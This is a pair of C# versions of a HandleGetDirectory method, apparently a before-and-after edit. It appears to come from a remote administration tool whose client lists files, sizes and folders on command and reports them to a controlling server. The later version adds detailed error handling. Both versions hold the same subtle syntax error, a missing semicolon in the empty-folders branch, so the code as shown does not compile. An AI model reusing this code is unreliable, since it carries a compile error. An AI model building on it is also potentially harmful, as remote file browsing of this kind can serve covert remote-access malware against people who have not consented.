public static void HandleGetDirectory(Packets.ServerPackets.GetDirectory command, Client client) { try { DirectoryInfo dicInfo = new DirectoryInfo(command.RemotePath); FileInfo[] iFiles = dicInfo.GetFiles(); DirectoryInfo[] iFolders = dicInfo.GetDirectories(); string[] files = new string[iFiles.Length]; long[] filessize = new long[iFiles.Length]; string[] folders = new string[iFolders.Length]; int i = 0; foreach (FileInfo file in iFiles) { files[i] = file.Name; filessize[i] = file.Length; i++; } if (files.Length == 0) { files = new string[] { DELIMITER }; filessize = new long[] { 0 }; } i = 0; foreach (DirectoryInfo folder in iFolders) { folders[i] = folder.Name; i++; } if (folders.Length == 0) { folders = new string[] { DELIMITER } } ; new Packets.ClientPackets.GetDirectoryResponse(files, folders, filessize).Execute(client); } catch { new Packets.ClientPackets.GetDirectoryResponse(new string[] { DELIMITER }, new string[] { DELIMITER }, new long[] { 0 }).Execute(client); } }
public static void HandleGetDirectory(Packets.ServerPackets.GetDirectory command, Client client) { bool isError = false; string message = null; Action <string> onError = (msg) => { isError = true; message = msg; }; try { DirectoryInfo dicInfo = new DirectoryInfo(command.RemotePath); FileInfo[] iFiles = dicInfo.GetFiles(); DirectoryInfo[] iFolders = dicInfo.GetDirectories(); string[] files = new string[iFiles.Length]; long[] filessize = new long[iFiles.Length]; string[] folders = new string[iFolders.Length]; int i = 0; foreach (FileInfo file in iFiles) { files[i] = file.Name; filessize[i] = file.Length; i++; } if (files.Length == 0) { files = new string[] { DELIMITER }; filessize = new long[] { 0 }; } i = 0; foreach (DirectoryInfo folder in iFolders) { folders[i] = folder.Name; i++; } if (folders.Length == 0) { folders = new string[] { DELIMITER } } ; new Packets.ClientPackets.GetDirectoryResponse(files, folders, filessize).Execute(client); } catch (UnauthorizedAccessException) { onError("GetDirectory No permission"); } catch (SecurityException) { onError("GetDirectory No permission"); } catch (PathTooLongException) { onError("GetDirectory Path too long"); } catch (DirectoryNotFoundException) { onError("GetDirectory Directory not found"); } catch (FileNotFoundException) { onError("GetDirectory File not found"); } catch (IOException) { onError("GetDirectory I/O error"); } catch (Exception) { onError("GetDirectory Failed"); } finally { if (isError && !string.IsNullOrEmpty(message)) { new Packets.ClientPackets.SetStatusFileManager(message, true).Execute(client); } } }